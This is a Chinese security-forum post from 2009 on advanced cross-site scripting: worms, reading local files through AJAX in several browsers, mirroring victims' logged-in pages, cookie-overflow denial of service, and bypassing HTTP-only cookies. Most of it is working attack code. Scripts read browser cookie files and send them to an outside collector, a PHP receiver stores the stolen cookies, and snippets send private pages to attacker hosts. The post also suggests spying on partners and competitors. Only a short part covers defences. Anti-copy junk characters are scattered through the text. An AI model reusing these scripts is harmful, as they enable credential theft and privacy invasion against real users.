XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
# K2 D4 x4 E. I0 v1 M1 \
' x  V- o! o( v  q; L- mXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
0 j6 F; z# X9 pBy racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
; s# B' L4 F/ S5 `
9 S' _4 }, I# ?/ O/ ?8 z5 H
. O5 q2 a/ z7 j0 ^  \) Q& _
-------------------------------------------前言---------------------------------------------------------
- C8 G  g4 E' |6 e) }* R

3 c) E* d  a; d! g( y本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
# f. X: ]4 x8 m5 N6 J! f9 ~+ m& q
* s3 |7 T3 ]! L/ w, A. T
如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
, j3 D; E  [5 [' \4 l/ Dhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
' V8 Y! |4 p. B5 Xhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
- O! ~/ c6 f' d+ I4 ~http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
$ }5 _/ @. Q3 W2 \. E1 ghttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持



0 c' y9 E+ A: [# T- H
' F; P* W2 g0 Z5 t3 N如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

. P* R5 ]( i+ _8 x6 T6 i! Z6 J希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
! A5 I! E9 t' m/ T
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

) L2 {* @! I; yBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

0 X9 i8 ~+ L+ }: h( h/ xQQ ZONE,校内网XSS     感染过万QQ ZONE.

7 E3 e5 `% T% H& o8 t4 ?6 |3 R! [- M2 ~3 \OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
) r$ s6 s# |2 g8 L
) M& [- e# g$ m* ~..........
9 `9 U' z: N5 V复制代码------------------------------------------介绍-------------------------------------------------------------

1 U7 V, j5 P( d# D- F# {什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.



跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.



如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
6 i: y# T4 s* I9 s4 O# w( ~我们在这里重点探讨以下几个问题:

/ M# p( _' c" R) p) l1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

5 P; P* S  ]/ C# q4        XSS漏洞在输出和输入两个方面怎么才能避免.


. O& X* F! N8 C  v7 P. x. _
! a6 y% |* h2 f* d1 K------------------------------------------研究正题----------------------------------------------------------



通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
0 H  M" U4 j% E7 d复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
: p/ k5 F, h4 V" _& q4 \" l; g9 ]1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
4 R, I8 a0 N$ M4 P3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.



( }0 g. ^5 n1 x& @8 l$ Y7 l" B
% G; v5 f% d( f# d, h- S7 G; v
/ Y0 u% }2 Q1 l4 ~. _, b(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
2 v; S1 R8 z: R
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

; I* ~+ [- ]" ]8 e2 ?4 [( a6 I5 @
- O% I& v$ A$ b* t: u) r
, z5 ^. L3 G0 V) r    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
, r% o( j7 E" B2 v. T$ U, I
0 K6 h3 P! D' m+ c; s

! V- [# @% G: s3 z# }6 g8 N" v    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
: O( b! S$ O: H
; r- j. {. D1 N( y: Z0 a, R/ a

    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
* d0 F5 N" x! u# M* n8 q' X5 a复制代码IE6使用ajax读取本地文件    <script>

" e/ `3 [+ t: L4 H& s    function $(x){return document.getElementById(x)}
1 y* H7 O' g( P. d% T( ^. S
4 u3 k( n8 Z  _8 t

    function ajax_obj(){
+ \( m9 t; P4 @. b3 w9 y" x
    var request = false;

    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

9 \- ?  F' Y5 W, U" C, \4 i    } else if(window.ActiveXObject) {

0 L) y. I  L2 @1 Q    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
, M* }* Y& O5 ?/ e6 E& I7 `, }

4 J0 o! g* }6 D* w3 H. g* S, l
, H7 _4 V& f- _2 Z  @2 `  r5 Z2 A    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

* d5 j: a5 q$ c    for(var i=0; i<versions.length; i++) {
" X0 k0 i" j0 \( W
    try {
6 [1 t5 ^  w; Y
) P4 I% P) m7 Z$ J  K" Q    request = new ActiveXObject(versions);

    } catch(e) {}
: v% f4 @1 C% [/ c9 p) j, C
    }
+ b3 {- [4 y, [2 x
# {4 Z, B2 f7 q: O4 @. Q    }

# A- C* o# T8 z/ G4 L/ e; U" w1 V    return request;
; T, a! s8 ]# k4 o
    }

    var _x = ajax_obj();
: @' p9 |! R' O5 N" e: k% j
    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

3 q5 X; n4 q4 \& N: A# Y3 z) S    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
; @; ]1 ?/ w* h8 Y: R
    return _x.responseText;
6 u8 v8 V" {- E8 M
/ U. D3 w4 s5 z, a+ K    }

/ _/ ?! k, i% Y+ O0 L/ C# S7 R
# O6 }5 e* ]! p  d0 ~3 y- K* `
! [# l0 x! q; p  T5 P1 _# |- J    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);
& f# M% S6 |8 m( L/ a! A- d
6 [5 ^* u, p/ D

    </script>
4 J4 {8 A+ l. K& B  A" V复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

5 q  s+ e1 U. r, \  A  l0 ]; P    function $(x){return document.getElementById(x)}

. z# n  p) i5 y
- h/ C: D  z; \
3 K) H# O  l3 [6 \" {  L    function ajax_obj(){
2 X: D# v5 t+ ?3 }: \% U/ v  ~
    var request = false;
8 K. t: i9 B4 _' G# s" c! I
    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
8 F+ `+ H8 z  Y/ q7 m! b$ M
# S6 s4 I9 t' m7 b2 u( Y; i    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
$ @7 _/ M, l- F/ D


* }" [8 w: b& }. {$ x6 d1 g" P    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

+ l: j1 G" n+ N+ d% \9 A% D    for(var i=0; i<versions.length; i++) {
" A4 V7 c1 e1 N8 H& ^
    try {

    request = new ActiveXObject(versions);

* o) ^) \! l; E- `0 G/ X    } catch(e) {}
5 ~; T' r, r: x3 }& Q, @
    }
6 }5 X$ G! m9 G+ C
    }
" T$ G6 K6 W) d9 j+ v$ ]! {
    return request;

    }

7 W& k1 X( W0 d) l    var _x = ajax_obj();

# k+ p2 J  s8 z2 B! K5 `    function _7or3(_m,action,argv){
+ G7 w2 Q3 j& U$ T: s
; t' r9 i# c$ ?9 _$ P8 M    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
) h  E; U1 O" E! p# s7 c$ a
    _x.send(argv);

    return _x.responseText;

    }


' D7 B( @3 t/ n" b
; o, s' w/ _& h6 g    var txt=_7or3("GET","1/11.txt",null);

5 m8 \2 C* H2 {- r2 s! m5 V    alert(txt);



, d1 Q( M: `2 m& [$ a    </script>
* n, o9 O& h$ ^" s6 b复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”



+ ^* {; M% O# D1 c, K3 \Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
" R9 c5 @2 E* f+ N" r4 H
2 |, ~. M- U; V% y
+ _1 K2 ?* a3 h/ `% u9 _2 g' e% [, o
% e) `# x3 J9 Y4 C& J2 b<?   
- t" C* D! _, _  z) [. W$ Z0 Q3 d
/*  
5 {5 y% M0 L) @2 I! e
# A: l0 |8 V" W5 ?. L. g! o     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
6 P4 o% \  ~3 F0 H' e  ?
4 n! y5 m% ?5 g4 B     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   
5 D7 l. e5 ^" a9 o) w7 R
+ S0 }& `- z( d. B6 ]     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
) j; e' T2 f# z" e- X2 ^( `
*/  
/ L+ y5 ?+ o$ T. P6 s# V+ Z2 ?
header("Content-Disposition: attachment;filename=kxlzx.htm");   

- C) e/ u) Z' H9 `header("Content-type: application/kxlzx");   

/*  
# _6 u# }$ ?/ z' z
( f6 G- D$ I- n     set header, so just download html file,and open it at local.  

*/  

?>   

: ~  \7 t! m/ Y  y2 V8 L7 Q. q<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
/ P, U' W; U) Q8 O0 j
# `: k5 X0 U5 q! H6 H2 J5 U     <input id="input" name="cookie" value="" type="hidden">   
7 a; n/ L0 \. {6 X
</form>   
/ a; ^, y5 d8 C* V
6 Z0 B5 h7 D5 Q9 J, C! W/ ?( H<script>   
+ ?7 V" _* s* Z2 e6 A$ \
- ~3 F7 p, c7 C; ^) x) Q  efunction doMyAjax(user)   
) K/ \0 {6 F/ J$ V' O( M8 z
8 l0 [. g- |( {% p6 H; ?{   
# n  A- M8 o9 }/ a& G
var time = Math.random();   
/ J! }! `& @* t4 j  P6 o& v. V
* t- k) W) d& z/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
8 S! A) W6 q5 P
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
, m; Y2 U* z# H; E& V- [
and so on...  

*/  

8 K7 p/ [+ H5 H, T9 `9 Nvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

8 j0 R& i4 @1 K3 e+ o4 O( x   
% W  g& c6 T+ W& w+ w
! k, v4 v# |/ H7 ystartRequest(strPer);   
0 I" q% S4 F/ n7 P


}   
: F/ E9 t  s; J$ ]
% i! K6 B  v" x6 E" w  n   

function Enshellcode(txt)   

/ j" O. S0 D+ F1 P{   

9 V3 R. S" {" P( E+ G0 [! w& a: uvar url=new String(txt);   

1 E6 N6 w% m4 z, X( Lvar i=0,l=0,k=0,curl="";   
: P  O1 g' N) o6 J2 \
$ ^9 z* ?+ a/ |0 E8 {l= url.length;   
* a  A3 |; c- u2 {
$ l0 R( A+ l$ \* i) t: L, Ifor(;i<l;i++){   
2 u5 `& q/ k7 ^- Q; S0 `! i
9 i) E- j  ~) Y& e0 t* i3 fk=url.charCodeAt(i);   
8 x3 k, T4 L3 ?5 x1 t& k
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
/ T3 q5 G. b# S* a
0 k/ A* ]/ k; e8 w4 t( Mif (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   
  ?" g' Q+ `/ |! ^# D( W
return curl;   

}   
4 l& U( H! J9 o( _# b$ g
3 d/ g2 _# Y* J5 h6 c# p0 z, e5 i   
: f: W7 r3 F. E
: R9 R1 t3 N/ K; J1 v   
1 X9 y$ f& B: c# R/ N
var xmlHttp;   

function createXMLHttp(){   
" V4 |' A, j$ h0 h7 o9 ^0 n( _. G8 u
     if(window.XMLHttpRequest){   
& P9 m& a) p- {
xmlHttp = new XMLHttpRequest();           
' j" R" |% V; U' S; x" m" ~- g2 O5 l
4 Y: R( ?8 {1 L" M     }   

8 I; t! T  R3 L     else if(window.ActiveXObject){   
) d3 W7 G$ `1 T8 c
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
* d+ @4 P. O) A4 D+ W; G8 A% D
, r, h) {! ~/ i' S8 d: k     }   

5 f1 r- c# R$ L2 G}   
( h3 T0 b/ y) K- m9 V
/ a/ w3 K  Q1 s8 F) Z   

) `) z/ i, \* h% Ifunction startRequest(doUrl){   
) y! [* w* c" r, d& P- T
0 b& [  O; H! @& P0 _   

     createXMLHttp();   
3 D' ~6 U$ D$ r7 g9 M

+ Z! L3 E. _: f, z! L  s/ y
     xmlHttp.onreadystatechange = handleStateChange;   

1 H" r5 T# o6 Z5 _

8 a3 A3 R6 h" g; o& s/ V6 f  g     xmlHttp.open("GET", doUrl, true);   



     xmlHttp.send(null);   

+ c. B6 p" ~: @( f7 D2 }5 _4 {& \

% I  C3 j4 e* H! a: h2 E
; ^" D5 z5 b# _' C8 v2 }% L
6 v5 m, ^0 H4 F& z! P0 M}   
2 q0 \3 L1 \5 f- s& B
   

function handleStateChange(){   
( G& d$ v! O: M% a' G
7 {$ @. {( W: Z- N1 j     if (xmlHttp.readyState == 4 ){   
, i/ Z( I2 ]0 }3 n* r  k5 F
     var strResponse = "";   
  w, x" U& W" ^
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
8 Z6 Z+ w8 U/ j+ A! |7 p! s
        
) q, _+ o9 P* l9 c- U1 J' h( k& ]
2 I! p9 E9 j4 ?8 I& C! n6 o     }   
0 k* Q% G2 d# F
! B, W0 q) `, U3 |) G/ C- J8 a}   

' ?6 B4 p+ \( m   
2 E" a: u" }! S4 d
   

function framekxlzxPost(text)   
  ]9 _5 J( h9 f. s0 y
- Y) V  [4 R2 N0 P3 p6 t6 Y0 K) d{   

% p- w# k& f9 ~; V7 O. V( c     document.getElementById("input").value = Enshellcode(text);   
  u0 W4 f& j. V$ ]
  m% X* ~: U, u     document.getElementById("form").submit();   

$ p2 O6 F" Z0 w}   

& I4 a( y# D2 x9 B   
0 h$ ?, Q. }" `; `- y* W  k& Q& W
: R7 Y$ q. {9 K# p+ LdoMyAjax("administrator");   

7 W/ O  p+ |$ N4 u0 e2 R0 ?3 |   

</script>
5 y6 i0 r3 ^; |复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

var xmlHttp;  

function createXMLHttp(){  

/ b( R% t7 P- w7 x     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         
7 D1 k; V9 Y" a+ N  n. ?
9 k, _, `* D# _- L) e     }  

* G7 x0 H2 @. ]. ], {0 j* x     else if(window.ActiveXObject){  
) j" x" q7 a2 r9 J8 D
         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
4 N8 R/ m5 C" r; D
; X( o( ~# Q; U2 J9 o* r     }  

  O, ^. m0 ]3 D0 r$ V8 h}  

- [- x7 f1 I$ `" v; l, B- f* _7 p9 e   
" a% [7 T% k2 t" `- _0 c, Y, X
9 ?+ \; t  t( Y9 a! N' p/ z& ]function startRequest(doUrl){  

           
( V, w/ C. C% Y" U7 A
     createXMLHttp();  

      

     xmlHttp.onreadystatechange = handleStateChange;  
1 l9 _% F& N) s- s: e
      
0 H7 _# D' s4 p$ r- Y% v
# U, X) e$ Y6 E/ e     xmlHttp.open("GET", doUrl, true);  

      

     xmlHttp.send(null);  

6 E) o1 a" F) K      

      
- X4 }& y8 @" G/ E$ U4 \$ L3 y
}   
+ p# r8 y# c! i, g6 n
  r$ O% l" T* ?* v& S" Z   

: o" o7 b* j7 xfunction handleStateChange(){  
3 n# i/ G% ?: d1 D9 ]6 W
     if (xmlHttp.readyState == 4 ){  
; S7 \) v1 W6 c4 E7 b, V" G
             var strResponse = "";  
, f" V" p1 B5 r) J, k
$ v# V( o7 F: @2 P3 @4 }$ k( |* A1 C' ]             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
# V+ {% ]( b  j+ c) ]" q6 v
" |9 C9 Q" l1 q) M               

5 s! A5 F! v8 Z4 `. D) F     }  

}  
' Q2 _( o8 k$ P5 o
   

; w4 d/ }3 Z2 zfunction doMyAjax(user,file)  
+ T' M7 c7 n( @$ ~
2 p' J* m6 R. K& O{  

0 |' Y  _6 g7 `2 t$ h& i5 B& W         var time = Math.random();  

           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

* p* {8 E) N1 X2 p8 @8 n# s           
, J! \( y( G! q1 V# F' X" W8 O
         startRequest(strPer);  
3 ~+ q! h# ]4 R* V
7 o, [3 V8 y: J& R4 N      
0 @1 E2 l1 W: B- L  O9 \6 v: `/ `- ~
}  

   

' a4 u# o; g; Q# h5 H6 W. u, Yfunction framekxlzxPost(text)  

' W( o* q& E6 ?{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
+ _8 {5 h% s9 ^5 l* G
1 W  [' j. m0 b9 m* X/ ?) K     alert(/ok/);  

}  
9 L/ v! ]- j3 w( D7 @% n+ A
7 O7 @& H1 P' b* ~" |! x5 R   
" {$ _$ i' z2 }4 t; _! L, a" v) y# g
doMyAjax('administrator','administrator@alibaba[1].txt');  

8 g1 V- y$ U* r3 }  S# B   

</script>
# @& H! s& S- ?+ Y) _* c9 X8 O

" u/ V; v! c. o5 J& R
* E; d8 D3 O/ S

9 g; M, a1 E7 G* B4 Z" q7 W* \* Ba.php

$ m$ j; P, H8 E/ ]! q% y7 |7 m( ~

<?php      
% g9 [6 J4 `" {3 x7 j+ `; F4 g, G
   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  
- L% m8 _, t4 u% c- q) }% A2 w
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
% }( f9 j/ J7 q. G3 j. w
fwrite($fp,$_GET["cookie"]);      
! U; o  E: e1 e1 I" u% D
fclose($fp);   
' g& ], F6 D% _0 ^7 q: f$ ^
?>
3 O4 x8 I$ w; n6 N+ u复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
& z, O5 S7 `- T1 W
0 w# m* I) M: R: g9 l- w代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

7 Y& r% A+ E4 D//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
) Y0 n( \/ [9 X/ h0 H) I
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {

' S  L6 _& ]$ c2 M4 h8 o4 f; M9 avar image = new Image();
1 V. ?. {: H) [/ n7 S) g' `% m
. _5 |! P! x9 P; u  m3 r7 Oimage.style.width = 0;
$ a: K% |5 V, I8 j: e
- ?, A6 p9 p0 S3 Rimage.style.height = 0;

image.src = s;
+ j* S3 j. ~# I$ Z
( v( G/ |! f2 i7 d8 l}

getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">

4 \* i+ a" Z0 ovar metastr = "AAAAAAAAAA"; // 10 A

# r- o% @3 ~7 Q3 W  \2 F/ Mvar str = "";
8 F6 F: R" s' m  Q- f% N  ]; j
: \( ~& s( ~+ Rwhile (str.length < 4000){

4 D- O% I; f8 Y. z    str += metastr;
9 ?* ~( E. ]* b+ B
$ N4 Q% b+ d0 O: G" b% R}


+ x  H# l1 T% A0 D# ^
) m# a1 v8 `& Z+ bdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

2 k% K' o2 [2 L</script>
( V. b2 J: u/ M# C6 X3 D: ]  b  Q
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
" E8 O" O* F! \server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

2 _$ a; S3 `# H0 w8 b假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
) B+ W% ]+ ?) f* E2 \攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
# a. Q, A% |  ?2 m8 @, p

/ ~( x+ b0 R' j& C. X$ r/ E
: s# ~9 u9 ^0 K
8 K9 e+ Y3 b" l

, r7 ~7 V% U' P(III) Http only bypass 与 补救对策:
6 r. K/ x: T) }2 V$ n
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
) I7 s0 S; C8 D( I7 b以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--

function normalCookie() {
5 r! K/ X! u0 w1 Y7 }
document.cookie = "TheCookieName=CookieValue_httpOnly";
$ B1 p6 n1 X; w$ o# j( q
0 r; c, z! C; b' X2 ialert(document.cookie);
1 c. a6 M" n6 d2 d2 T+ A
2 v: B0 ?9 F; B  ~) ~& a}




4 v2 s( P! R% G8 P0 P
) M5 f: e% F# q8 bfunction httpOnlyCookie() {
) B7 _0 B1 _% b# n5 U& F3 U
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

  m& v3 {6 w4 ^4 A9 Zalert(document.cookie);}
; t2 ^# i7 E( M8 h+ Y* e; c) X  ^

  \0 J1 W2 z  s- Z( ~/ o$ T
//-->

6 ?- f" b( i3 O& @</script>

0 O' K% ^+ F( W+ i5 [) z& C
2 l9 F0 h8 }* ~7 W; Z
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
5 I) M* D$ W+ `- O2 f; w9 a7 ^8 e

# w) }/ F" C. q
var request = false;

        if(window.XMLHttpRequest) {

1 I5 Z$ ~3 ^3 {: d            request = new XMLHttpRequest();
0 l+ e- @& x" Z) e
            if(request.overrideMimeType) {
% s0 ~5 a  X  v; l! v' {
" S, u0 L+ V* \                request.overrideMimeType('text/xml');
; T# ]$ _8 q; c% K
* S" L0 f8 ~; B# S7 K& _            }
% |, r9 S3 }3 A" l. P5 U" d
% Q/ R5 G# W# ]* Q- \        } else if(window.ActiveXObject) {

4 P# d9 \1 @9 O- t  Z; a+ u# a            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {
9 T) r' |4 `  d5 D+ R2 w
                try {

- e6 a. u0 R- C4 k5 z  I, c, M9 V                    request = new ActiveXObject(versions);

5 S3 C, k3 E0 i1 A                } catch(e) {}
2 `, O, ]6 e# A; h) q) m
            }
7 E# i& i; k! K  E" G# F
        }
$ A( O2 z3 |7 t+ Z  }
7 H4 e) R) W' e) Q) [xmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);

  P4 b  i# b# ^6 a! l7 }) I1 oxmlHttp.send(null);
2 W7 V( Z6 F$ {. r1 Z: j9 r
xmlDoc=xmlHttp.responseText;
7 E8 |1 ^. f: ?, G5 a1 W* E
alert(xmlDoc);
! T7 E8 J6 e! h& i
! Q7 `  B) X9 F+ r</script>
# O* B6 c; i' ~, T复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
: e; c- n' E# k) \& D& O
" K; {. o4 m' @7 U; Z3 ?var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

7 {6 f$ H' p+ rXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
: A* d2 n! L3 Z( Z
( B; l7 D' D& I; Svar resource=xmlHttp.responseText

resource.search(/cookies/);

) R( P+ i; R& N! J1 G......................

</script>



* o* W" s* T8 ~' K# b; |

如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
6 m" o; B* O1 Q- ]) s
. Y" k8 u* z* `& \. U# e0 z- Y[code]
2 W" L( e$ B, |9 Z$ a3 t
/ M, q: p$ F2 pRewriteEngine On
0 I: q. Z8 L" u$ I
RewriteCond %{REQUEST_METHOD} ^TRACE

  D1 {$ z  }. }7 x0 m* NRewriteRule .* - [F]



Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
( X0 j! X3 c2 D) D+ Z
& k" C& B0 \- P+ k5 X/ zacl TRACE method TRACE
- d, ?- k) s2 b# k
/ z" I* t5 R* G...
- f( {* ~+ [% S$ X% r3 k3 C
http_access deny TRACE
  k* G% Q& ]: K  c3 Y$ l1 J复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
2 j) C9 M* |' Y/ i' i
8 A9 Q1 _/ a& U7 Vvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
$ |4 B6 B& v, N- d/ d
XmlHttp.open("GET","http://www.google.com",false);
, p( `9 Y) e: x, f
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
/ e% ?! I7 k, t' ~' x
) \3 y0 z! ~0 ~: u/ A</script>
